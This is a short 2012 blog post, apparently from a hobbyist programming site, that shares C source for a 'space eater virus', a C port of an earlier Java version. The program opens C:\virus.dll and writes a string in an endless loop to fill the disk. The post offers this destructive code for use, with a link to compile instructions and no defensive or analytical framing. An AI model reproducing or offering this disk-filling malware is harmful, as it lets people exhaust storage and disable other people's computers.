20 Aug 2012

Create a Space Eater Virus in C Language

Hi Folks. I already posted the code of an Space eater virus in JAVA. However many people asked me to share the C Version of that code so here it is.

#include<stdio.h>
#include<conio.h>
#include<process.h>
void main()
{
FILE *ptr;
clrscr();
ptr=fopen("C:\\virus.dll","w");
if(ptr==NULL)
printf("\n\n Error in opening the File");
else
{
int i;
printf("\n\n\n\t\t SPACE EATER VIRUS!!\n\n\t Eating Space now......");
while(1)
{
sleep(1);
for(i=0;i<=10000000;i++) fputs("This good removes shit",ptr); } } }


This program will work similar as its JAVA version. If you're having troubles in compiling the code then take a  look How to Compile a C/C++ Program

Happy Coding. :)

0 comments:

Post a Comment

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Online Project management